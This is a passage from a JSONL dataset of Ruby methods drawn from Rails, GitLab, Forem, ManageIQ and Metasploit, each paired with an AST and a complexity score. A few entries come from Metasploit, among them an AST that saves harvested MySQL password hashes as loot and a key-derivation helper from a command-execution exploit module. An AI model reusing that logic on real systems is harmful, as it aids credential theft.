ngth\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"str\",\"children\":[\" Saving HashString as Loot: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"this_service\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"active\"]}]},{\"type\":\"lvasgn\",\"children\":[\"this_service\",{\"type\":\"send\",\"children\":[null,\"report_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"mysql\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"rows\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[null,\"report_hashes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"to_csv\"]},{\"type\":\"lvar\",\"children\":[\"this_service\"]},{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]}]}","id":"c1deb20f-702b-4abd-a210-b420faf1b771"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/import/placeholder_user_limit.rb","start_line":48,"raw_source":"def calculate_has_exceeded\n return false unless count > 0\n\n count >= limit\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_has_exceeded\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"count\"]},\">=\",{\"type\":\"send\",\"children\":[null,\"limit\"]}]}]}]}","id":"861006f1-3ea1-4ac4-8671-f0a89395f796"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/database/batched_background_migration/sec_database_worker.rb","start_line":8,"raw_source":"def self.tracking_database\n @tracking_database ||= Gitlab::Database::SEC_DATABASE_NAME.to_sym\n end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tracking_database\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tracking_database\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"SEC_DATABASE_NAME\"]},\"to_sym\"]}]}]}","id":"7f78d962-3506-4bb3-a042-df438eb722f1"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/validations/confirmation.rb","start_line":21,"raw_source":"def setup!(klass)\n klass.attr_reader(*attributes.filter_map do |attribute|\n :\"#{attribute}_confirmation\" unless klass.method_defined?(:\"#{attribute}_confirmation\")\n end)\n\n klass.attr_writer(*attributes.filter_map do |attribute|\n :\"#{attribute}_confirmation\" unless klass.method_defined?(:\"#{attribute}_confirmation=\")\n end)\n end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"setup!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"attr_reader\",{\"type\":\"splat\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"method_defined?\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\"_confirmation\"]}]}]},null,{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\"_confirmation\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"attr_writer\",{\"type\":\"splat\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"method_defined?\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\"_confirmation=\"]}]}]},null,{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\"_confirmation\"]}]}]}]}]}]}]}]}","id":"22de3e07-7801-49bd-9658-6a2e3527c40d"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/support/lib/module_validation.rb","start_line":6,"raw_source":"def validate_each(record, attribute, value)\n unless value.is_a?(Array)\n record.errors.add(attribute, \"#{attribute} must be an array\")\n return\n end\n\n # Special cases for modules/exploits/bsd/finger/morris_fingerd_bof.rb which has a one-off architecture defined in\n # the module itself, and that value is not included in the valid list of architectures.\n # https://github.com/rapid7/metasploit-framework/blob/389d84cbf0d7c58727846466d9a9f6a468f32c61/modules/exploits/bsd/finger/morris_fingerd_bof.rb#L11\n return if attribute == :arch && value == [\"vax\"] && record.fullname == \"exploit/bsd/finger/morris_fingerd_bof\"\n return if value == options[:sentinel_value]\n\n invalid_options = value - options[:in]\n message = \"contains invalid values #{invalid_options.inspect} - only #{options[:in].inspect} is allowed\"\n\n if invalid_options.any?\n record.errors.add(attribute, :array_inclusion, message: message, value: value)\n end\n end","complexity_score":31.8,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_each\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\" must be an array\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},\"==\",{\"type\":\"sym\",\"children\":[\"arch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"vax\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"fullname\"]},\"==\",{\"type\":\"str\",\"children\":[\"exploit/bsd/finger/morris_fingerd_bof\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sentinel_value\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"invalid_options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"in\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"contains invalid values \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid_options\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" - only \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"in\"]}]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" is allowed\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid_options\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"sym\",\"children\":[\"array_inclusion\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},null]}]}]}","id":"07475307-af4b-4840-8228-fb881534bced"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb","start_line":107,"raw_source":"def column_names(table)\n @connection.send(:table_structure, table).map { |column| column[\"name\"] }\n end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"column_names\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"send\",{\"type\":\"sym\",\"children\":[\"table_structure\"]},{\"type\":\"lvar\",\"children\":[\"table\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]}","id":"07539418-36e4-4110-90f1-763dd7748984"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/hardware.rb","start_line":50,"raw_source":"def mac_addresses\n @mac_addresses ||= nics.collect(&:address).compact.uniq\n end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"mac_addresses\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@mac_addresses\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nics\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]}]}]},\"compact\"]},\"uniq\"]}]}]}","id":"a8b58ad8-19f9-49b4-950d-56127bafbb87"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/bmc_patrol_cmd_exec.rb","start_line":1037,"raw_source":"def des_string_to_key(key_buf_str)\n des_keysch_0 = gen_key_unchecked(INIT_DES_KEY_0)\n des_keysch_1 = gen_key_unchecked(INIT_DES_KEY_1)\n\n temp_key1 = Array.new(8, 0)\n temp_key2 = Array.new(8, 0)\n\n key_buf_bytes = key_buf_str.unpack(\"c*\")\n\n counter = 0\n key_buf_str_len = key_buf_bytes.length - 1\n for i in 0..key_buf_str_len\n counter %= 8\n temp_key1[counter] |= key_buf_bytes[i]\n temp_key2[counter] |= key_buf_bytes[i]\n\n data_block = temp_key1.pack(\"c*\").unpack(\"V*\")\n temp_key1 = sbox_xors(data_block, des_keysch_0, 0)\n temp_key1 = temp_key1.pack(\"V*\").unpack(\"c*\")\n\n data_block = temp_key2.pack(\"c*\").unpack(\"V*\")\n temp_key2 = sbox_xors(data_block, des_keysch_1, 0)\n temp_key2 = temp_key2.pack(\"V*\").unpack(\"c*\")\n counter += 1\n end\n\n # Prepare the return array\n ret_key = Array.new(8, 0)\n for j in 0..7\n ret_key[j] = temp_key2[j] ^ temp_key1[j]\n end\n ret_key.pack(\"c*\")\n end","complexity_score":50.45,"ast_json":"{\"type\":\"def\",\"children\":[\"des_string_to_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key_buf_str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"des_keysch_0\",{\"type\":\"send\",\"children\":[null,\"gen_key_unchecked\",{\"type\":\"const\",\"children\":[null,\"INIT_DES_KEY_0\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"des_keysch_1\",{\"type\":\"send\",\"children\":[null,\"gen_key_unchecked\",{\"type\":\"const\",\"children\":[null,\"INIT_DES_KEY_1\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"temp_key1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"temp_key2\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key_buf_bytes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_buf_str\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"c*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"counter\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"key_buf_str_len\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_buf_bytes\"]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"for\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"key_buf_str_len\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"counter\"]},\"%\",{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_key1\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"counter\"]}]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_buf_bytes\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_key2\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"counter\"]}]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_buf_bytes\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data_block\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_key1\"]},\"pack\",{\"type\":\"str\",\"children\":[\"c*\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"V*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"temp_key1\",{\"type\":\"send\",\"children\":[null,\"sbox_xors\",{\"type\":\"lvar\",\"children\":[\"data_block\"]},{\"type\":\"lvar\",\"children\":[\"des_keysch_0\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"temp_key1\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_key1\"]},\"pack\",{\"type\":\"str\",\"children\":[\"V*\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"c*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data_block\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_key2\"]},\"pack\",{\"type\":\"str\",\"children\":[\"c*\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"V*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"temp_key2\",{\"type\":\"send\",\"children\":[null,\"sbox_xors\",{\"type\":\"lvar\",\"children\":[\"data_block\"]},{\"type\":\"lvar\",\"children\":[\"des_keysch_1\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"temp_key2\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_key2\"]},\"pack\",{\"type\":\"str\",\"children\":[\"V*\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"c*\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"counter\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ret_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"for\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"j\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret_key\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"j\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_key2\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"j\"]}]},\"^\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_key1\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"j\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret_key\"]},\"pack\",{\"type\":\"str\",\"children\":[\"c*\"]}]}]}]}","id":"075d4c37-21c5-4a49-8161-61986cbf249f"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/inverse_associations_test.rb","start_line":750,"raw_source":"def test_child_instance_should_be_shared_with_newly_built_parent\n face = faces(:trusting)\n human = face.build_human(name: \"Charles\")\n assert_not_nil human.face\n assert_equal face.description, human.face.description, \"Description of face should be the same before changes to child instance\"\n face.description = \"gormless\"\n assert_equal face.description, human.face.description, \"Description of face should be the same after changes to child instance\"\n human.face.description = \"pleasing\"\n assert_equal face.description, human.face.description, \"Description of face should be the same after changes to just-built-parent-owned instance\"\n end","complexity_score":23.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_child_instance_should_be_shared_with_newly_built_parent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"face\",{\"type\":\"send\",\"children\":[null,\"faces\",{\"type\":\"sym\",\"children\":[\"trusting\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"human\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"face\"]},\"build_human\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Charles\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"face\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"face\"]},\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"face\"]},\"description\"]},{\"type\":\"str\",\"children\":[\"Description of face should be the same before changes to child instance\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"face\"]},\"description=\",{\"type\":\"str\",\"children\":[\"gormless\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"face\"]},\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"face\"]},\"description\"]},{\"type\":\"str\",\"children\":[\"Description of face should be the same after changes to child instance\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"face\"]},\"description=\",{\"type\":\"str\",\"children\":[\"pleasing\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"face\"]},\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"face\"]},\"description\"]},{\"type\":\"str\",\"children\":[\"Description of face should be the same after changes to just-built-parent-owned instance\"]}]}]}]}","id":"a7b55fa7-2f58-4bb2-88de-03c73a711b1f"} {"repo_name":"forem","file_path":"./repos/forem/app/services/admin/charts_data.rb","start_line":7,"raw_source":"def call\n period = (@length + 1).days.ago..1.day.ago\n previous_period = (@length * 2).days.ago..(@length + 1).days.ago\n\n grouped_posts = Article.where(published_at: period).group(\"DATE(published_at)\").size\n grouped_comments = Comment.where(created_at: period).group(\"DATE(created_at)\").size\n grouped_reactions = Reaction.where(created_at: period).group(\"DATE(created_at)\").size\n grouped_users = User.where(registered_at: period).group(\"DATE(registered_at)\").size\n\n days_range = @length.downto(1)\n posts_values = days_range.map { |n| grouped_posts[n.days.ago.to_date] || 0 }\n comments_values = days_range.map { |n| grouped_comments[n.days.ago.to_date] || 0 }\n reactions_values = days_range.map { |n| grouped_reactions[n.days.ago.to_date] || 0 }\n new_members_values = days_range.map { |n| grouped_users[n.days.ago.to_date] || 0 }\n\n [\n [\"Posts\", posts_values.sum, Article.where(published_at: previous_period).size,\n posts_values],\n [\"Comments\", comments_values.sum, Comment.where(created_at: previous_period).size,\n comments_values],\n [\"Reactions\", reactions_values.sum, Reaction.where(created_at: previous_period).size,\n reactions_values],\n [\"New members\", new_members_values.sum, User.where(registered_at: previous_period).size,\n new_members_values],\n ]\n end","complexity_score":90.45,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"period\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@length\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"days\"]},\"ago\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]},\"ago\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"previous_period\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@length\"]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]},\"days\"]},\"ago\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@length\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"days\"]},\"ago\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"grouped_posts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"published_at\"]},{\"type\":\"lvar\",\"children\":[\"period\"]}]}]}]},\"group\",{\"type\":\"str\",\"children\":[\"DATE(published_at)\"]}]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"grouped_comments\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"period\"]}]}]}]},\"group\",{\"type\":\"str\",\"children\":[\"DATE(created_at)\"]}]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"grouped_reactions\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reaction\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"period\"]}]}]}]},\"group\",{\"type\":\"str\",\"children\":[\"DATE(created_at)\"]}]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"grouped_users\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"registered_at\"]},{\"type\":\"lvar\",\"children\":[\"period\"]}]}]}]},\"group\",{\"type\":\"str\",\"children\":[\"DATE(registered_at)\"]}]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"days_range\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@length\"]},\"downto\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"posts_values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"days_range\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grouped_posts\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"days\"]},\"ago\"]},\"to_date\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"comments_values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\"